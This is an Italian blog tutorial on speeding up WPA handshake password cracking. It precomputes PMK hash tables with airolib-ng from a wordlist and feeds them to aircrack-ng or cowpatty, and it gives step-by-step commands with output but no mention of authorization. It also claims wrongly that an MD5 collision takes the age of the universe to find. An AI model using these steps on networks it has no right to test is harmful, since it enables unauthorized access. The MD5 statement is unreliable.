
Un altro metodo per bruteforcing dell'handshake wpa consiste nella generazione di un database di hash di password precomputate: in questo modo le operazioni di decrittazione di aircrack (o di cowpatty) saranno notevolmente velocizzate.
E' tuttavia necessario dare almeno una definizione semplicistica su cosa sia un hash. Si tratta di una tecnica crittografica che utilizza complessi algoritmi per cambiare un testo alfanumerico in una stringa di numeri e lettere all'apparenza senza significato. Ecco un esempio di crittazione di una parola (pcpedia) in un hash MD5 (che assiame al sha-2 è il più usato):
La forza di questa crittazione è che non è biunivoca ossia non si puo' risalire alla parola originaria dall'hash direttamente (per avere una collisione dell'hash MD5 si calcola un tempo pari alla durata dell'universo). Addirittura ad un hash possono corrispondere più testi in chiaro... Nell'esempio supponiamo di avere solo l'hash "05d698e819f0a68e5d4bb09f835e899b" non esiste un algoritmo che ci faccia risalire alla parola "pcpedia" ; si puo' soltanto confrontare un database di hash già esistenti e precomputati a quello in nostro possesso (quindi bruteforcing).
Anche il wpa utilizza un algoritmo di funzione di hash che prende in input la password, il nome della rete wireless, la lunghezza dello stesso e restituisce un hash di 256 bit. Per maggiori informazioni leggere questo ottimo articolo...Semplificando dobbiamo creare un database di hash da confrontare con l'handshake wpa che ,come già detto, dipende anche dal nome della stazione (access point)..
Uso di Airolib-ng
E' necessario avere installato SQlite3 (incluso in Backtrack 3).Se non l'avete installatelo con il comando (valido anche per Ubuntu) apt-get-install SQlite3.
Airolib è incluso nella suite aircrack ed è estremamente semplice da utilizzare: per generare un database di hash è sufficiente seguire i passaggi seguenti:
CREAZIONE DEL DATABASE
Creiamo un file di testo essid.txt contenente il nome dell' essid Access point interessato (nel nostro esempio il nome è pcpedia).
creiamo il database (che chiameremo WPADB)
airolib-ng WPADB --import essid essid.txt
Databasedoes not already exist, creating it...
Databasesucessfully created
Reading file...
Writing...
Done.
inseriamo il file di password nel database (useremo il file ricavato in questo articolo precedente sulla generazione wordlist):
airolib-ng WPADB --import passwd nomi-ita-AA.txt
Reading file...
Writing... read, 87450 invalid lines ignored.
Done.
puliamo il database per eliminare le chiavi non valide:
airolib-ng WPADB --clean all
Deleting invalid ESSIDs and passwords...
Deleting unreferenced PMKs...
Analysing index structure...
Vacuum-cleaning the database. This could take a while...
Checking database integrity...
integrity_check
ok
Done.
possiamo finalmente iniziare a calcolare i PMK:
airolib-ng WPADB --batch
Computed 25000 PMK in 101 seconds (247 PMK/s, 225000 in buffer).
Computed 125000 PMK in 496 seconds (252 PMK/s, 125000 in buffer).
Computed 361322 PMK in 1434 seconds (251 PMK/s, 0 in buffer). All ESSID processed.
il tempo di creazione del file puo' essere anche molto lungo e dipende dalla grandezza del file di password e ovviamente dalla velocità del vostro calcolatore. Se desiderate controllare che airolib stia effettivamente facendo qualcosa (è avaro di ouput) potete controllare periodicamente la grandezza del vostro file WPADB con il comando ls -al |grep WPADB . Nel nostro caso da un file di 4MB (nomi-ita.txt) abbiamo ottenuto un database di 40MB...
se ci interessa verifichiamo 10000 chiavi random del il database con (se vogliamo verificarlo tutto basta metter --verify all):
airolib-ng WAPDB --verify
possiamo anche verificare lo stato del database con:
airolib-ng WPADB --stats
There are 1 ESSIDs and 361322 passwords in the database. 361322 out of 361322 possible combinations have been computed (100%).
ESSID Priority Done
pcpedia 64 100.0
Modifica del database Hash con l'essid desiderato
Ovviamente se questo database può essere usato solo con l'essid d'esempionon ha senso uno spreco di tempo e calcolo.Tanto valeva usare il bruteforcing classico. La forza di queste tabelle database sta nella possibilità di ricomputarle in base ad un altro essid.
Ad esempio, supponiamo di analizzare un altro access point con l'essid "Altroessid"è sufficiente seguire questi semplici passi:
creiamo come abbiamo fatto all'inizio un filedi testo contenente il nome (o i nomi) dell'essid di cui vogliamo ricomputare il database (nel nostro esempio è Altroessid) poi usiamo il comando:
airolib-ng WPADB --import essid essid.txt
Reading file...
Writing...
Done.
NOTA: a me questo comando inizialmente mi ha dato un messaggio di errore "database locked or busy", per risolverlo ho operato alla windows way riavviando..
Verifichiamo il database di nuovo:
airolib-ng WPADB --stats
There are 2 ESSIDs and 361322 passwords in the database. 361322 out of 722644 possible combinations have been computed (50%).
ESSID Priority Done
pcpedia 64 100.0
Altroessid 64 0.0
Notiamo che è presente il nostro nuovo essid ma che non è computato,quindi di nuovo:
airolib-ng WPADB --batch
Ed aggiungeremo al nuovo database il nuovo essid.
Uso di aircrack-ng con Tabelle hash
Ora non resta che utilizzare aircrack con la notra nuova tabella e ovviamente l'handshake in formato cap..
aircrack-ng -r WPADB psk*.cap
Noterete un incremento sensazionale della velocità di analisi delle password (ovvamente abbiamo tolto lavoro ad aircrack pre-calcolando per lui gli hash...)
Nel nostro caso ci abbiamo impiegato una decina di secondi a comparare gli hash!!
La nota seguente vale solo per chi ha un errore dopo il comando airolib-ng, quindi se non avete avuto problemi saltatela..
NOTA: potreste ricevere l'errore "Error: Aircrack-ng wasn't compiled with sqlite support" : è un problema di Ubuntu (che non si dovrebbe presentare su Btrack) che risolviamo ricompilando aircrack con sqlite.
la soluziona proposta sul forum di aircrack (QUI) funziona perfettamete (in caso chiedete nei commenti).
per comodità riporto anche qui la soluzione al problema sqlite di airolib-ng su Ubuntu:
sudo apt-get remove --purge aircrack-ng
sudo dpkg --configure -a && sudo apt-get install -f && sudo apt-get update
sudo apt-get install linux-headers-$(uname -r) build-essential make patch gettext gcc python-psyco autoconf subversion libssl-dev
sudo mkdir /usr/src/drivers
cd /usr/src/drivers
sudo wget http://www.sqlite.org/sqlite-3.6.16.tar.gz
sudo tar -zxf sqlite-3.6.16.tar.gz
cd sqlite-3.6.16
./configure --disable-tcl
sudo make
sudo make install
sudo svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
cd ~/aircrack-ng
make sqlite=true
sudo make sqlite=true install
cd ~/aircrack-ng
svn co http://trac.aircrack-ng.org/svn/branch/airoscript/ airoscript
sudo make
Uso di Cowpatty con tabelle Hash
possiamo anche utilizzare un altro strumento chiamato Cowpatty per fare lo stesso lavoro di aircrack. E' sufficiente convertire la nostra tabella WPADB in un formato che gradisce con il comando:
airolib-ng WPADB --export cowpatty "Altroessid" DBCOW
Exporting...
Done.
Sostenete il rinnovamento del sito dando un'occhiata ai link pubblicitari che vi interessano.
| Commenti |
|
|
||||||||
|
||||||||
|
||||||||
|
||||||||
|
||||||||
|
||||||||
|
||||||||













